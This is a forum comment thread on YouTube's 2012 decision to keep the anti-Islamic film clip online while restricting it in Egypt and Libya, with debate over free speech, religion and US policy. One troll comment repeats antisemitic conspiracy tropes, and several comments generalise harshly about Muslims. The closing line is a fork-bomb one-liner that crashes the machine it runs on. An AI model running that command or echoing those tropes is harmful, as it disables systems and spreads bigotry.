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YouTube Refuses To Remove Anti-Islamic Film Clip
Hugh Pickens writes "BBC reports that Google officials have rejected the notion of removing a video that depicts the prophet as a fraud and philanderer and has been blamed for sparking violence at U.S. embassies in Cairo and Benghazi. Google says the video does not violate YouTube's policies, but they did restrict viewers in Egypt and Libya from loading it due to the special circumstances in the country. Google's response to the crisis highlighted the struggle faced by the company, and others like it, to balance free speech with legal and ethical concerns in an age when social media can impact world events. 'This video – which is widely available on the Web – is clearly within our guidelines and so will stay on YouTube,' Google said in a statement. 'However, given the very difficult situation in Libya and Egypt, we have temporarily restricted access in both countries.' Underscoring Google's quandary, some digital free expression groups have criticized YouTube for censoring the video. Eva Galperin of the Electronic Frontier Foundation says given Google' s strong track record of protecting free speech, she was surprised the company gave in to pressure to selectively block the video. 'It is extremely unusual for YouTube to block a video in any country without it being a violation of their terms of service or in response to a valid legal complaint,' says Galperin. 'I'm not sure they did the right thing.'"
If only the religious zealots realized all they had to do was lodge a false DMCA claim through a bot...
Restrict the video only in places where they can't handle the freedom of speech without maniacal violence. Google got it right for the first time in a while.
Google is showing some spine. Good.
I've seen the movie. It's not very well produced, but it's better than 80% of the non-pirated stuff on YouTube.
Either you have free speech or you do not. "Ethical concerns" is a thinly veiled word for "censor that which offends us".
The Onion has this pegged...
"There is more worth loving than we have strength to love." - Brian Jay Stanley
No, people died because of religious fanaticism. The video was just a largely inconsequential trigger for the current round of violence. But even if said video wasn't there, they'd find another reason.
Google didn't kill anyone - hang the blame where it is deserved -- the religious idealists that actually committed the acts.
Despite Qadaffi's efforts to appease the West in recent years, as soon as he became vulnerable, the US urged NATO to help overthrow the Libyan government. Air strikes, drone strikes, CIA officers on the ground coordinating attacks - the largest military power in the world overthrew the government of this small country - a government which has been making concession after concession to the West in recent years. Apparently not enough. Can anyone imagine the US ambassador in Libya getting blown up if the US hadn't bombed the Libyan government out of existence, working to put its own regime in? You play with fire you get burned.
Imperialism, foreign intervention, torturing Muslims in Abu Ghraib - forcing them to masturbate to the videotaped laughs of sadistic American soldiers, drone attacks, puppet governments, financing the Zionist siege of Gaza - this is what the US is doing to Muslims. Then Korans are burned, put in toilets, mocking videos are made just to rub it in. Then Americans get all indignant that their mockeries of an almost-conquered people are not taken in a light-hearted fashion.
The real question is why is the US over there, why were they bombing Libya and arming the people who overthrew their government. If I was a Libyan patriot, and I knew US insults to Islam would help rally Libyans in an anti-imperial campaign, of course I'd use that. Libyans are responding to everything the US has done to it. The Marines hymn "from the halls of Montezuma to the shores of Tripoli" refers to US interference in Tripoli going back to the beginning of the 19th century. None of this can be discussed of course, so it all becomes about religion, when really it has little to do with religion. Middle class Muslim Turks are nor burning down embassies. Americans are more gullible and steeped in imperial propaganda then any Muslim is in guile to religious ideas - not that Americans should talk, as the country is crawling with fundamentalist Christianity more than any other industrialized nation.
Unfortunately, the religious zealots are not the problem here. Religious zealots are a minority, both of the rioters and in general. The religious zealots certainly would be content to see the videos removed, and much as I would criticize them for that sort of censorship, at least nobody would be killed.
The rioters were angry before the video was posted. The video was nothing more than an excuse (perhaps to themselves) for this sort of behavior; it could just as easily have been a book, idiotic comments by some preacher, a bomb dropped by the air force hitting a day school, etc. I doubt that most of the rioters had even heard of the video prior to hearing of riots elsewhere, and I doubt that most of them have even seen the video.
Palm trees and 8
And the world was populated through incest, polygamy is a-ok, slavery is dandy, and killing non-believers is supported. At least, that's what I get from a few passages in the Bible. What's your point again? That the Koran, like the Bible, is an origin myth massaged to also be a political and social guide to the world? Or that by pointing to the right verse, I can support whatever I want?
Those who can, do. Those who can't, sue.
One school of thought on this is that the violence is an attempt by one of the more militant branches of Islam to get attention.
The real cause of riots in Egypt is a steadily declining standard of living since Egypt hit peak oil in 1996. Oil production has declined 45% since 1996.
I love Harris and Dawkins. But they don't get it. They think that religious belief can be disputed on a rational level.
It cannot.
Religion appeals to our emotional primitive brain. That is why you have people who can build atom bombs and understand the physics of it still believe in the Biblical god. They have the intellectual ability - more than I - to dispute on rational and logical grounds why the Biblical God is as likely to exist as the Tooth Fairy or Santa Claus, and yet they do.
And it's just not the Biblical God. Humans are predsposed to have magical thoughts. Whether it's making a deal with the Universe, Karma, or anything else for a better life or what have you. It's our brain that want's to see patterns where none exist it's our brains unable to accept that this is all there is. There must be something more to life than eating, fucking and shitting. Hence, for modern people the stubborn belief in God and other superstitions.
... google taking it down wouldn't help at this point.
Doesn't matter anyway, most of these protesters are taking it word of mouth from word of mouth from word of mouth. Few have likely seen it. Few even stop to consider if it even has merit (being seen to think for yourself can be hazardous to your health in some circles.)
It is unfortunate, but nothing new to Christians who have seen their faith run through the artistic expression and philosophical (to say nothing of the internet trolling) wringers. Perhaps there would be some good if it got some people to think, but see above. The people who tell these people to be angry like their control over them.
A feeling of having made the same mistake before: Deja Foobar
Nor should they. There is freedom of speech in the US, and Google is a US based company. I have little sympathy for those "revolting" in other countries over stuff like this. Muslims who kill because their beliefs are mocked by others are horrible. Catholics who bomb abortion clinics and kill workers there are horrible. Germans who supported ethnic cleansing back in the day were/are horrible. In short, once you start to affect other people with violence, you turn horrible.
"As the intrepid kobold companion continues his journey, he begins to wonder... if priests raises dead, why anybody die?
Nothing excuses killing and destruction in response to a mere insult
Funny how American Muslims, even orthodox Muslims, are not rioting, even now that they know about the video and presumably have had the chance to watch it.
Angry people do not need much to set them off, and the rioters have been angry for a long time. They live in awful places, they have seen multiple wars (no, not "seen" as in "live from a foreign country," but actually seen tanks rolling down their streets and bombs dropping from planes), and most have not lived under any sort of democratic system. The video was just a spark, and it just happened to be right next to a crate full of dynamite.
Palm trees and 8
I wonder if Larry and Sergei, both jews, would take issue with a video revealing just how insidious jewish activity is in global politics, the nature of jewish control over the US economy and political space and the belief held by jews that it is jewish destiny to dominate the world.....
BLAH BLAH BLAH BLAH
I know I shouldn't respond to trolls, but yes, there's tons of antisemitic videos on YouTube.
Most of them are malicious flamebait, just like your comment and the "innocence of muslims" video.
No sig for the moment.
I wonder if Larry and Sergei, both jews, would take issue with a video revealing just how insidious jewish activity is in global politics
Since there aren't any of those movies or books in the world I guess we'll never know.
Maw! Fire up the karma burner!
So, insulting violent religious fanatics and inciting riots is fine, but having a 50 year-old record playing in the background of a video of your dog running around the backyard is completely outside the bounds of acceptable human behavior.
And using the words "super" and "bowl" together will earn you permanent banishment.
Fucking world...
You are welcome on my lawn.
It IS pretty offensive.
It's also pretty damn hilarious. These protesters must be simply being told what to do, because I can't see anyone taking this seriously if they had actually seen it. Sure, the movie completely trashes Mohammed, but in the most cartoonish way possible. I liked the part where he was like "Everyone but Muslims must die" and then there's an explosion as he puts his sword up. Sort of like he's an action hero.
If they made the same sort of movie about Jesus, I probably wouldn't be able to stop laughing.
This is like if they made a sequel to Borat, but where he was teleported back to 7th Century Arabia and founded a religion.
It is unfortunate, but nothing new to Christians who have seen their faith run through the artistic expression and philosophical
Except that Christianity doesn't expressly forbid depictions of jesus etc. Muslims don't have free speech, it's a foreign concept to them. It was, for a long time, a foreign concept to the christian world too after all, the Christian, Asian Orthodox and Catholic and protestant churches (see what I did there, I implied eastern orthodox as the real christians not anyone else, you didn't go burning an embassy down over it?) all disagree over who's interpretation is right. But that's kind of the point. By steel and gunpowder they got themselves to the point of simply disagreeing, and not making any more of a fuss over it. Part of that of course comes from the balance in power between the state and religion, and the eternal conflict between the Catholic church particularly as a state and as a religion.
Just about everything one christian denomination stands for one of the others disagrees with, about the only thing they agree on are that a god exists and that jesus is his son, and none of them are too fond of people pointing that out as being obvious nonsense. But beyond that, they've long since fought their wars and revolutions, inquisitions and witch hunts over it and it's just not worth it. Free speech isn't some grand ideal about why it's great to hear everyone's opinion, it's a grand ideal because I know I don't have to listen to other people's opinions. The new islamic movements are going to find it very hard to get anything done if they want to waste a week every time someone of no importance says something they don't like, but that will take some growing pains because for years they've been like sheltered children by their authoritarian states, and they just discovered that the world has porn and gays and they don't like that. Eventually they'll figure out that there are a lot of people in the world who say a lot of offensive things, and most of the time no one cares, and making a fuss over it just gives attention to people who don't deserve it.
Granted, it may well be that we need to extend the principles of Augsburg (1555) and Westphalia (1648), importantly 'Cuius regio, eius religio' through the UN. Your state can set its own damn rules about religion but keep your nose out of anyone elses so to speak. That would require leaders in muslim states to go along with it, and they're not there yet, or at least, not all of them, but they're getting there.
No, Muslims are getting those people killed..they are the ones doing it. This isn't violence in response to violence, this is mobs motivated by their religious handlers. Hellfires, is even quotes out there that summed basically to 'I have not seen the video, but I was told it was against the Prophet and so the Americans must be punished.' Riots based on hearsay.
If the next bad thing declared was 'eating pork insults Mohammad and so kill all the pork eaters'... will you advise the banning of commercials for hotdogs? Leave accountability where it belongs: the ones being violent are at fault, regardless their ethnicity/religion/choice of food.
Personally I find the video more insulting in it's poor quality in both writing, acting and humour and technical work- a high school AV club could have done better.
Well, blessed are the cheese makers.....
Wikipedia pointed out a subtlety about that scene
http://en.wikipedia.org/wiki/Monty_Python's_Life_of_Brian#Religious_satire_and_blasphemy_accusations
The Pythons unanimously deny that they were ever out to destroy people's faith. On the DVD audio commentary, they contend that the film is heretical because it lampoons the practices of modern organised religion, but that it does not blasphemously lampoon the God that Christians and Jews worship. When Jesus does appear in the film (on the Mount, speaking the Beatitudes), he is played straight (by actor Kenneth Colley) and portrayed with respect. The music and lighting make it clear that there is a genuine aura around him. The comedy begins when members of the crowd mishear his statements of peace, love and tolerance ("I think he said, 'blessed are the cheese makers'"). Importantly, he is distinct from the character of Brian, which is also evident in the scene where an annoying and ungrateful ex-leper pesters Brian for money, while moaning that since Jesus cured him, he has lost his source of income in the begging trade (referring to Jesus as a "bloody do-gooder").
So in Life of Brian the comedy comes from idiots not understanding the message of peace and tolerance.
Then again of course, Jesus discouraged stoning - "let him who is without sin cast the first stone". Unlike Mohammed
http://www.iupui.edu/~msaiupui/082.sbt.html#008.082.809
Narrated Ibn 'Umar:
A Jew and a Jewess were brought to Allah's Apostle on a charge of committing an illegal sexual intercourse. The Prophet asked them. "What is the legal punishment (for this sin) in your Book (Torah)?" They replied, "Our priests have innovated the punishment of blackening the faces with charcoal and Tajbiya." 'Abdullah bin Salam said, "O Allah's Apostle, tell them to bring the Torah." The Torah was brought, and then one of the Jews put his hand over the Divine Verse of the Rajam (stoning to death) and started reading what preceded and what followed it. On that, Ibn Salam said to the Jew, "Lift up your hand." Behold! The Divine Verse of the Rajam was under his hand. So Allah's Apostle ordered that the two (sinners) be stoned to death, and so they were stoned. Ibn 'Umar added: So both of them were stoned at the Balat and I saw the Jew sheltering the Jewess.
"I saw the Jew sheltering the Jewess". How chilling is that?
And it's clear that if Muhammad hadn't have been there the couple would have got a token punishment of face blackening, not be killed horribly.
In fact if you don't think either Jesus or Muhammad were divine these sorts of differences in their morality make it pretty clear that Jesus as a historical figure is owed a more respectful portrayal than Muhammad. Muhammad not only had sex slaves, he actually enslaved them himself after killing their husbands.
http://en.wikipedia.org/wiki/Rayhana
Rayhana was originally a member of the Banu Nadir tribe who married a man from the Banu Qurayza. After the Banu Qurayza were defeated by the armies of Muhammad in the Siege of the Banu Qurayza neighborhood, Rayhana was among those enslaved, while the men were executed for treason.
According to Ibn Ishaq, Muhammad took her as a maiden slave and offered her the status of becoming his wife if she accepted Islam, but she refused. According to his account, even though Rayhana is said to have later converted to Islam, she died as a slave.[1] According to Marco SchÃller, Rayhana either became the Prophet's concubine or, was married to him and later divorced
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;